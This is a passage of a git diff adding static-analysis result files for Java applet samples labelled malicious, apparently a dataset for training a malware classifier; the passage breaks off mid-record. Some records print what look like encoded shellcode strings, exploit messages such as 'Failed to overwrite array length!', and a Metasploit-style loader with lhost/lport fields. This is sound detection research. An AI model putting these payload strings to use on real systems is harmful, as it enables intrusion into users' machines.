--git a/java_classification/data/malicious/31dd12ee2f439d18215651b1c3ca4b5e1063628e38a9cd44ca3977b4cd52954b.results b/java_classification/data/malicious/31dd12ee2f439d18215651b1c3ca4b5e1063628e38a9cd44ca3977b4cd52954b.results new file mode 100755 index 0000000..867520f --- /dev/null +++ b/java_classification/data/malicious/31dd12ee2f439d18215651b1c3ca4b5e1063628e38a9cd44ca3977b4cd52954b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Drivers.java", "class_name": "tower/Drivers", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["__x", "init", "", "main", "__b", "__E", ""], "minor_version": 0, "const_pool_count": 1185}}, "_id": "38712053-e9bc-43c1-9a1c-5cff380cf11b", "verbose": {"java": {"constant strings": ["i1", "i21zh", "019iAy", "23", "45jKcP", "67", "89", "ab9kM", "cd", "ef", "ghWTHz", "ij", "kl", "mn", "opHBD", "qr", "st", "uvmW6f", "wx", "yz", "ABJMuh", "CD", "EF1X9m", "GH", "IJTYk", "KL", "MN", "OP", "QRG9J", "ST", "UV", "WX", "YZAHd", "/.", ":_", "-?", "&=", "%#", "oYc49#hDwr6-", "NaP/pyV", "m8lu", "7AG_", "?M1i", "Un:Zq9c", "3Hqe", "sSBpedj", "kFWt", "O%5L", "T=jy", "2zI&", "vdKC9ay", "R.gxdsv", "JVEX", "b0Qf", "sBkpoo", "o#DZXqy", "4Dc", "ooY", "ShsJof2", "hYDXO4g", "hhY", "ckDPde", "#D9", "hrh", "Bck", "9DD", "ch#F1mH", "hDh", "FDc", "Yhk", "94hAWgu", "YhByei", "h#h", "kh9", "hYD", "cwF6kj3", "4pp", "DphnNWB", "k#S6fip", "opo", "BYo", "cooC8PX", "oY9", "soo", "YohnXZ", "DDciLH1", "h#hx1cM", "DhF", "DchbiMw", "rhY", "hk9", "4D#", "D9h", "FDh", "h#D6dgm", "cDw", "DcoBzFw", "oYc", "hsh", "YDh", "hYc", "kD#", "rhB05XQ", "ck9", "4hYHgLU", "hBheGQU", "#hk", "h9h", "YDcTIgd", "khk", "s9p", "YkB", "wpB", "#Swq2rP", "ko4fWTj", "ooo", "S#slFP", "BhY9Pc", "Dch", "#9h01r4", "hrhCUP", "#hB", "h9D", "4#4", "h#D", "99r", "oooHbm", "khh", "hrD", "cD4", "D99duro", "9hY", "Dr9", "Fhhz5e", "#Dh", "#h#", "hS#", "orh", "rD4c28C", "#9hL84", "rhp", "h##", "4h#", "D9#", "oDh", "Bh#", "hkh", "rh#", "hkD", "99rZHhk", "ooYHy5h", "hhp", "khr", "hph", "YhB", "99h", "YDr", "D49", "rhk", "9hh", "rDc", "D4DE8C", "9#D", "#hS", "9ro", "oor", "hkh3AO", "#DwMYiH", "D9#kpQ", "4D9yaNM", "hYh", "pDo", "oY#", "D4h", "#Dc0kz", "#hh", "#Dc", "rhFuUt", "hk9W4f", "FhkMWl", "#4DjNp", "9Dc", "Yhp", "9sow4n5", "oo9VL2C", "rhpAyS", "Soo", "ohhu2tN", "hhr", "Bh9", "D4DAcvL", "9ooCJki", "oc#bl7B", "S9rYidX", "#So", "oo#", "9D9Ydv", "oooC2W", "c#SxYk", "#s9", "Boo", "o9D", "shF", "hkhFPC2", "99B", "hYcXkN", "FD#r5fu", "D9hRw2S", "rhB", "cF#", "9hr", "##sq4P0", "hFh", "kh#VKH", "4SD", "wDo", "oYolBa", "YoY", "oYo", "oooW3y", "Yoo", "ooc", "ooobm0O", "oooOKPD", "oYcOhv", "Y#hxN1", "4sF", "Bok", "D#DqlT", "cooKR5", "oc#vHhf", "S9r", "9pS", "sho", "chD", "hks", "Scs", "#ocCWs", "oDw", "Doo0PfR", "oooWcqR", "oooUrMf", "oooyGP", "ooD", "pro", "ooorPc", "9ooMVh", "oooU0zu", "oY#qUf2", "o9o", "cooyNT", "ows", "oookcTe", "oco", "ooowSY3", "4oo", "oootnZy", "oooSa7", "oYY9L2c", "oooHGa", "cco8pTm", "ooo7Bcv", "ocp", "kFkmrL6", "9ww", "oooRXIc", "ooo4NAt", "c#S", "#s#", "DwF", "co4137", "rY92t7", "Sw#", "pkc", "ooorSA", "DwD9A61", "oYYuUt", "YoYwZK", "YD4gK3", "Dco", "oYwZler", "hshf9kg", "D9hCB4a", "rhBWjfN", "ck#OvH", "4hr", "hpD3BO", "ohB", "h##1UtF", "##s", "kh#", "Fsh", "D#pRsx", "hopHvf", "Y#k", "F#s", "ho4G3k", "ooYxz4N", "c9r", "sh9OWCf", "D4DIlTA", "9#4", "hYDvzmC", "DD4", "ooh", "kh9LJ2", "YDr756", "ooBCfOK", "kh9dotv", "9Fh", "h#DKaz", "h#hJP8j", "ooDndO", "kh9Rv3T", "9ph", "Fh9", "h#9l6Hq", "rooHxU", "owh", "h99", "phFr9s", "9hw", "kh9QVTM", "#9h", "h#9", "rooAXT", "oShJsQ0", "h9#Qpnf", "#9p", "9h#5jz", "YDD", "9FhqEp0", "hhhlS6", "#D9R7i", "#Dc6wz", "#hhBUJI", "rhF", "hk9xg7", "Fhk", "#4D", "9DcBJ0L", "h#h1R6V", "YhpWGKi", "oow", "D4D", "DcD", "999", "r9r0H1", "ooor8Xk", "kD43yz", "YDcSPje", "D99TCm", "Fhh", "hS9", "roo", "orD", "4D9", "cD9", "9ph4dcK", "Fh9mYsi", "h#9oYOn", "osD", "FhkjMm", "w9r", "ooogDR", "rD4", "YDceNas", "D9#QAks", "hphfnxt", "#9r", "pD4", "YDc", "D9#ju0N", "9h#wJoy", "9hYBf7", "DcD5XV", "9#r", "h#hnxr", "#so", "ooS", "D#D1I4", "99hbCGz", "hBh", "rhD", "hwD", "9#SnHzb", "ooo7CI", "Shp", "hFhdAR", "kD9", "hw9PA7", "DD9UXc", "9oo", "oc#", "S9cIj4B", "DwDFMKo", "coo", "YchDbB", "shYZpS", "DhhozVJ", "Yck", "D#D", "9hrkiVW", "hBcnQD", "k#9", "ph#QaUc", "#sh", "h#4", "YS4", "krF", "#DD", "99s", "BsY", "ocoahD9", "9BogrK", "oocEBd", "9r9BcUG", "9D9", "c9B8wv", "FhBExMb", "khD", "hD4IGi", "SDw", "DoDmGu6", "ok9", "YhpwzMj", "chrZq0f", "h4h", "YcFyG28", "oo4", "hkkvxb", "woo", "ooolVXY", "ooo6QOg", "oooFz9P", "oooQGO", "ooF", "k9w", "wBo", "ooo3EZ", "oooRsKA", "ooogYt", "ooo5r9", "ooo51M9", "ooocMQJ", "oooIQB3", "oooluxd", "oD#V6aH", "#S9", "csB", "F4Y83Q", "DFw", "ohoGR9b", "w#9xIL", "koo", "oooAP5a", "oBYguXV", "FYB", "YFYBnMQ", "kYF", "YkYORzQ", "FYFu2A", "YkYT46l", "FYk", "YFD9WOg", "Dos", "oho", "ooonHtK", "#DY", "ooohLkQ", "ooosQHC", "ooD219m", "wD4", "oop", "D9h1Pf7", "FDD", "cck", "9Dh", "FhF", "D4#", "kwS", "9Bh", "Dpp", "B9o", "rpw", "ocovFm", "oooNKx", "DwD", "oDw1Q7s", "FFFABZG", "FF9", "kcFwSY3", "rh9", "sBo", "oos", "i4X1a", "datalwvQ", "1", "", "i3", "i:", "m1", "m2", "tower", ".", "/", "/Updaters.cl", "ass"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "404c0430a5562a5f156d5b183e4b0d58bdbd0b70", "file_name": "java_malicious/31dd12ee2f439d18215651b1c3ca4b5e1063628e38a9cd44ca3977b4cd52954b", "_id": "38712053-e9bc-43c1-9a1c-5cff380cf11b", "score": 0, "entropy": 5.762160216097888, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 13384, "ssdeep": "192:/2ZpZV1GlE30DqW0whcAtQCJMbXI6hr7n5T100z65mwCElRP88:eZV1Gi3BW0whbtQ6H6J4", "sha256": "31dd12ee2f439d18215651b1c3ca4b5e1063628e38a9cd44ca3977b4cd52954b", "md5": "f8b56ee8aadd6edf456d77c52009bbfd", "parent_sha256": "31dd12ee2f439d18215651b1c3ca4b5e1063628e38a9cd44ca3977b4cd52954b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3208da6fd9589f75da07596cdc8d40a6a6d84f9992157e6f1bc773730c5ddbee.results b/java_classification/data/malicious/3208da6fd9589f75da07596cdc8d40a6a6d84f9992157e6f1bc773730c5ddbee.results new file mode 100755 index 0000000..dcc4f2c --- /dev/null +++ b/java_classification/data/malicious/3208da6fd9589f75da07596cdc8d40a6a6d84f9992157e6f1bc773730c5ddbee.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DWacSnNwt.java", "class_name": "luLbEI/fBcabZx", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "EUxJKNcM", "CxopBHeC", "buyfamAF", "amNdfs", "fxVtW", "nIcSyWt"], "minor_version": 0, "const_pool_count": 149}}, "_id": "032c2d56-1db3-4a39-980f-713ae81bce79", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.391379425858739, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "8//8"}}}, "constant strings": ["#<<.?2#<,#9.*8", "#!!", "/-8*", "9?2.", "=,/8*", ";*98.\\x02%?", "!*=*e\\'*%,e\\x18?9\"%,", ",.?\\x1b9$;.9?2", "!*=*e=.98\"$%", "///8/8-", "8//8", ",/#,--,", "!,# !\\'", "\\x14", "\\x17e", "{{", "f"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "766a558f3ca98f910e7042fdab224ecf11573589", "file_name": "java_malicious/3208da6fd9589f75da07596cdc8d40a6a6d84f9992157e6f1bc773730c5ddbee", "_id": "032c2d56-1db3-4a39-980f-713ae81bce79", "score": 0, "entropy": 5.857563689106092, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3237, "ssdeep": "48:jidb7x9HyFlDIc7uKenzYo34w2LlKpqEPBDuC9TsBHZuG7d02x9WB7nIi7DRMTj2:jidb9YFlAYwbuC9TcHZugtx9wJN1", "sha256": "3208da6fd9589f75da07596cdc8d40a6a6d84f9992157e6f1bc773730c5ddbee", "md5": "a11d9138f397bc31d39b1542a65353c5", "parent_sha256": "3208da6fd9589f75da07596cdc8d40a6a6d84f9992157e6f1bc773730c5ddbee"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3354beded64b06e7002de450f0cdf1e28ec1d8bfacc3f0a4b1a7f7b2bb685291.results b/java_classification/data/malicious/3354beded64b06e7002de450f0cdf1e28ec1d8bfacc3f0a4b1a7f7b2bb685291.results new file mode 100755 index 0000000..897aae8 --- /dev/null +++ b/java_classification/data/malicious/3354beded64b06e7002de450f0cdf1e28ec1d8bfacc3f0a4b1a7f7b2bb685291.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/snewhsyuyawcuavnstlllcan", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 60}}, "_id": "845955ab-6cec-48c1-865f-bf06c72f15ec", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "kbetiegeeppo"}}}, "constant strings": ["60a488f82dcf0364a26a0485cd22ea01af56971af2", "kbetiegeeppo", "", "java.version", "1.7"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bdd51479918663ae38f418baf8a9aded09135077", "file_name": "java_malicious/3354beded64b06e7002de450f0cdf1e28ec1d8bfacc3f0a4b1a7f7b2bb685291", "_id": "845955ab-6cec-48c1-865f-bf06c72f15ec", "score": 0, "entropy": 5.539919591635261, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 882, "ssdeep": "24:onKfdNGayQVdGZSLw2pXCboqoWfkm9jf1:onlayMcZW/XCboqooT1", "sha256": "3354beded64b06e7002de450f0cdf1e28ec1d8bfacc3f0a4b1a7f7b2bb685291", "md5": "0329cc4b69207dda0b557823eac80993", "parent_sha256": "3354beded64b06e7002de450f0cdf1e28ec1d8bfacc3f0a4b1a7f7b2bb685291"}} \ No newline at end of file diff --git a/java_classification/data/malicious/33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b.results b/java_classification/data/malicious/33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b.results new file mode 100755 index 0000000..30fdb7d --- /dev/null +++ b/java_classification/data/malicious/33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "decoder", "init"], "minor_version": 0, "const_pool_count": 104}}, "_id": "2c86baba-66b3-4bf9-baee-41fff296d3e7", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "60ea630f-fac3-4a20-af0b-6d348459818e", "metadata": {"mimetype": "text/plain", "sha1": "4a7778cf34be00e21f5b970142338b5b640dc076", "file_name": "long string 0", "_id": "60ea630f-fac3-4a20-af0b-6d348459818e", "score": 0, "entropy": 5.718936601646014, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 959, "ssdeep": "24:qDutzuCptwyGMGsVN4Nft1AbWxuUCe6JUKl6IV2e:DtK4fGsVSftSbtUXKo1e", "sha256": "d75120100fe591e7f988fc7d5f1e08b69de189cff81bdb30616926cec46dbe3a", "md5": "8d5845229d7392cf9d50459ae8a9ec07", "parent_sha256": "33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b"}}], "combined strings entropy": 5.774207149753207, "obfuscated_data": {"signatures": {"file": "rot0"}}}, "constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINpnpNpNplPJ0lPlPM8c030wpWphkwpM9fvWq7pwpSou4Y16P7pWpUPrXvlLKSpdLlKt0ULlmLKu8THzKeYlKaPp4NmQPSLLKqxwLlKKGCZtDPYkXmyuPEPgphbXyqxrO0nwpwpQx45prRLrMRt9oWfLKm8KXlSgpWpUPLKHWQWopwOUPBUzZQWRwSwMP7OwpBUkJnkzOsoFSjiNaxlFpc1wps0LKiLk3Ks4L2qbrBsPhGteQs07pKORvtL0ZPYPQSbLK5RBspCOpekgpbUxzoq3KYlvNU4RL0lPuc3MSzKtHMYvcIWRcc4VNBDBLPlJfPC5Xgp1KmZKqUTtpNhcu30P39PpPpPRsRwpPkORvb0MS8xS02UEMqzEQK3JKtLyWs30rcURGcCzgrcuTQfd27CDrYWQSuXGPDm3CUppSKObv7tQJPYosYRgt1QmPUjGpqeMMkOQF6hRqv6nkT5WLlK44EeRXGsIev6NkrV7PwszU4syYaYQQnMuSzeFSyKFoMn4Pp8l2QdVh9Qzkvm4CiJsp8kl1gKUOPukWQNnkCnQ4USyMBFlKflPKNkaN7lS3YMLKc4nkwsKuNKaNryo3KXJEIn9okOnnpN6nXlNxkNlJ6nSNKhJBSCp3jjNjQKVVEJToPprVcuQQPjWpsXbTSDt0gJTo6O1rSQrLsXPi0m0aPnsQfNCSROBMfOpnPt1u4o3qRvPOpRpPp12aqQPBG2qS3sTnSUsH3UVOCUsep2vS6Pat5iqsGB0eG8VWdsFRUdsV3SPb52QFP0dqfPFP1v6PWHtpvPp0p6Sb5bTr031sp6EerF6PdqvPp2BtvSUhFWqrbB7I0bp4ebtpFQPltpwD6PTypK4yecu1P4tx2CvXSVvS6QP8Rj00rDvP6Pp0uftpVQGpwpA", "419,20,7f,6d", ",", "file://abc/", "B", "u", "\\xc0\\x80"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "957632e049998877bb00e2a42b5aa5dc61632014", "file_name": "java_malicious/33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b", "_id": "2c86baba-66b3-4bf9-baee-41fff296d3e7", "score": 0, "entropy": 6.323560692986639, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2886, "ssdeep": "48:icWdyFl4tK4fGsVSftSbtUXKo1Z1RsFdIgFv16f+HJIQY+NAqECCYNir3sq10z9:LWYFl4Y4fGsMV7YGWNZqQY2CH7sqE9", "sha256": "33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b", "md5": "cf2565d7593b649e5e5437c9231f8121", "parent_sha256": "33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35.results b/java_classification/data/malicious/33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35.results new file mode 100755 index 0000000..59f264b --- /dev/null +++ b/java_classification/data/malicious/33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "c827b98d-1550-44ca-81aa-e971f4dc5844", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pl,PN,pN,pL,Pj,0N,pn,py,yK,KS,0G,ps,0S,o0,dL,ad,pW,pG,pw,pl,Ks,pV,ll,KR,PE,LL,mn,kQ,xW,Pm,P1,mT,Lv,Sq,dw,sm,Fx,kh,sL,Kq,xd,Hn,kj,WQ,z4,Dr,y9,xL,Ou,Pu,PW,pK,RK,Ip,hb,OR,N5,PS,0p,hp,up,rp,lr,M6,49,o6,vN,ky,xZ,HR,Ye,PG,pg,pN,ki,G0,Gm,PU,og,p2,U9,jW,70,WW,7o,pe,oU,Pp,uh,zL,KZ,Oa,Ow,Ck,yM,Q8,lt,DV,ag,pS,0L,KI,Lp,QV,2P,Sp,hv,du,Qw,p5,PK,OQ,Ft,Ls,jq,IV,13,bn,kW,rF,3c,sO,pu,k3,0P,uk,JN,aS,Kk,LV,NB,Ea,h5,5r,UW,sk,3j,KV,hn,iU,So,7W,3w,tv,N2,ES,Hu,5K,vG,3g,xw,pQ,Kn,jK,qE,TT,pn,hc,ue,PU,ck,pb,pr,pc,cb,wP,PK,O2,vb,0l,Ci,hW,pd,5G,vR,Jw,qa,Ck,O6,6u,Tp,Z1,IO,sk,r6,dQ,Qo,pf,ZU,Pp,ul,tK,Ov,6E,Xr,qV,6L,K3,E7,Ll,Kt,4p,5Q,h5,S8,uS,fN,ks,Fu,pg,sz,Up,38,Ic,ya,QN,ME,SK,u5,cY,Kt,OM,n2,0u,hX,rR,TU,Xi,Qz,kd,MU,Sz,zs,pJ,K8,q5,kU,O0,uk,WC,nL,KS,nW,Ts,3K,ms,VN,k6,lp,Kl,Ks,nW,lS,3k,mL,Kv,dL,KU,SJ,eN,KQ,Nr,yJ,cY,xw,pK,OY,ok,OL,Np,Nv,nX,lN,xk,NL,JV,nS,Ny,Hy,rS,CD,sZ,jn,jq,K4,vT,ZD,op,pu,2P,Er,e1,qu,1r,m1,sc,Bs,0u,82,TR,Tr,Pv,ZV,O4,ob,Lb,Or,PS,UP,sa,uv,NB,IP,nQ,vB,OV,Ot,0s,Qb,GQ,u6,OQ,rQ,up,sb,TV,NP,pP,hp,pv,Op,nV,PD,pv,SD,q0,0p,66,R4,pE,au,c4,pG,Dr,Rd,pU,df,Pt,yC,zu,aV,RT,p6,Pv,Pw,Fv,Pt,q2,r0,9u,hP,au,5t,tf,YE,4V,W3,gu,f7,ET,qp,2r,Bp,ep,cD,pP,Xc,RE,1c,Vd,y4,sT,wW,BP,5p,YP,fe,fE,5f,WE,6d,r6,Vf,Qa,J6,Pv,Qv,PF,PS,Vv,P0,8f,PG,p3,0A,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "203721e574b3b6824fe60357b88cb4b0b4dcafdd", "file_name": "java_malicious/33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35", "_id": "c827b98d-1550-44ca-81aa-e971f4dc5844", "score": 0, "entropy": 6.129052796753191, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3313, "ssdeep": "48:CUyFlNV7qqsSXzuEjYzEfrYQNgoImFis+5NpfmHez/j8vPIwwB/J:6FlD7qqsD8Ygf0Q+EiTNNkez/j83Ifh", "sha256": "33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35", "md5": "5920a2f8d671bb5339a8703396dbb54b", "parent_sha256": "33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35"}} \ No newline at end of file diff --git a/java_classification/data/malicious/33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b.results b/java_classification/data/malicious/33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b.results new file mode 100755 index 0000000..e631c21 --- /dev/null +++ b/java_classification/data/malicious/33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "b399.java", "class_name": "b399", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "go", "main"], "minor_version": 0, "const_pool_count": 233}}, "_id": "a7231819-549d-4ca2-a0cc-434759e05f2f", "verbose": {"java": {"constant strings": ["setSecurityManager", "file:///", "Failed to overwrite array length!", "Failed to find object array!", "Security Manager = "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "56ba51304da919b71833520dece8ca3c644011d3", "file_name": "java_malicious/33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b", "_id": "a7231819-549d-4ca2-a0cc-434759e05f2f", "score": 0, "entropy": 5.990881525203014, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5085, "ssdeep": "96:hy2DAlG1lHE8kkZCBIMK6vTnPyAfrY7xmw9IOlkzDbixz4:jDAlGM8ktt5PyAT/w9IOlkHbiN4", "sha256": "33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b", "md5": "add15d951c42669ae4e03bcd3f655f55", "parent_sha256": "33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2.results b/java_classification/data/malicious/34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2.results new file mode 100755 index 0000000..24378c4 --- /dev/null +++ b/java_classification/data/malicious/34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "msf/x/LoaderX", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "major_version": 45, "method_names": ["", "", "writeObject", "readObject", "a"], "minor_version": 3, "const_pool_count": 180}}, "_id": "311f8044-9856-423e-8784-bf6509b14a7c", "verbose": {"java": {"constant strings": ["msf.x.PayloadX$StreamConnector", "msf.x.PayloadX", "/msf/x/PayloadX$StreamConnector.class", "/msf/x/PayloadX.class", "file:///", "data", "lhost", "lport"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cd479c7fd677613c8fb6dc89c2e43c210e4a72a8", "file_name": "java_malicious/34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2", "_id": "311f8044-9856-423e-8784-bf6509b14a7c", "score": 0, "entropy": 5.60428862457068, "libmagic": "compiled Java class data, version 45.3", "file_size": 2468, "ssdeep": "48:lvfY2TE5RW4HGEW6DEFGBbnO8PQ02VJ8MSdp:lHtE8bmEF0nOIQ0GJ1Sj", "sha256": "34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2", "md5": "64215f937763886e674ccb6c805222c2", "parent_sha256": "34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b.results b/java_classification/data/malicious/352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b.results new file mode 100755 index 0000000..9521b71 --- /dev/null +++ b/java_classification/data/malicious/352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MtVrCF.java", "class_name": "MtVrCF", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 57}}, "_id": "efdac0d6-1820-44f7-b374-a6829087514d", "verbose": {"java": {"constant strings": ["\\x11+\\x020\\x17", "F\\x08]QT"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dc6fc41424feaa02b086696db1c65a39c04f61e4", "file_name": "java_malicious/352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b", "_id": "efdac0d6-1820-44f7-b374-a6829087514d", "score": 0, "entropy": 5.521637611914666, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 818, "ssdeep": "24:P3yQul2rTuPnhPJ97bS8pnA1j68jRnZqx:fyFlC6Phf5ulrK", "sha256": "352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b", "md5": "69ccec9074c50d2f0eb7a9c80a7370f0", "parent_sha256": "352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d.results b/java_classification/data/malicious/355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d.results new file mode 100755 index 0000000..ddf6667 --- /dev/null +++ b/java_classification/data/malicious/355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "padsvefas.java", "class_name": "padsvefas", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "uj7u56ytrhj756rr", "afdsfe_Afaf", "vsbdgfnrsthegraebtear"], "minor_version": 0, "const_pool_count": 221}}, "_id": "8ca8b197-bfa3-4fb8-bdce-651ef8685e81", "verbose": {"java": {"constant strings": ["dvsgre sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2dvsgre sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2dvsgre sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2", "1", "", "2", "/2", "jXZEaIKJvIKJaXZE.XZEaXZEwXZEtXZE.XZEiXZEmIKJaXZEgXZEeIKJ.XZESIKJaXZEmXZEpIKJlIKJeIKJMIKJoIKJdIKJeIKJlXZE", "jXZEaIKJvXZEaXZE.XZEaIKJwIKJtXZE.XZEiXZEmXZEaXZEgXZEeXZE.XZEDIKJaXZEtXZEaXZEBXZEuXZEfXZEfXZEeIKJrIKJ", "jXZEaIKJvXZEaXZE.XZEaIKJwXZEtIKJ.IKJiXZEmXZEaXZEgXZEeXZE.IKJDXZEaIKJtIKJaXZEBIKJuIKJfXZEfIKJeXZErIKJIXZEnXZEtIKJ", "jIKJaIKJvXZEaIKJ.XZEaIKJwXZEtXZE.IKJPXZEoIKJiIKJnXZEtXZE", "jXZEaXZEvXZEaIKJ.XZEaIKJwIKJtXZE.XZEiIKJmIKJaXZEgXZEeXZE.IKJRIKJaXZEsIKJtXZEeXZErXZE", "jXZEaXZEvXZEaXZE.XZEaIKJwIKJtXZE.IKJAXZElXZEpXZEhIKJaIKJCIKJoXZEmXZEpXZEoXZEsIKJiXZEtIKJeIKJ", "jIKJaXZEvIKJaXZE.XZEaIKJwIKJtIKJ.XZEiIKJmXZEaIKJgXZEeXZE.IKJSXZEiIKJnIKJgXZElXZEeIKJPIKJiIKJxIKJeIKJlXZEPIKJaXZEcXZEkXZEeXZEdIKJSXZEaXZEmIKJpIKJlIKJeXZEMIKJoXZEdXZEeXZElIKJ", "jXZEaIKJvIKJaIKJ.XZEaXZEwXZEtXZE.IKJiXZEmXZEaIKJgIKJeIKJ.IKJDXZEiXZErIKJeIKJcIKJtXZECIKJoIKJlIKJoIKJrXZEMIKJoXZEdIKJeXZElXZE", "jIKJaXZEvXZEaXZE.IKJlXZEaXZEnXZEgXZE.IKJOIKJbIKJjIKJeIKJcIKJtIKJ", "jIKJaXZEvIKJaXZE.IKJbIKJeIKJaIKJnXZEsXZE.XZESXZEtIKJaXZEtIKJeIKJmXZEeIKJnXZEtIKJ", "jIKJaXZEvIKJaIKJ.IKJlXZEaXZEnXZEgIKJ.IKJrIKJeIKJfIKJlIKJeIKJcIKJtXZE.XZEAXZErXZErIKJaXZEyXZE", "jXZEaXZEvIKJaXZE.IKJsXZEeIKJcXZEuXZErXZEiIKJtXZEyIKJ.XZEPXZEeIKJrXZEmIKJiIKJsIKJsXZEiXZEoIKJnIKJ", 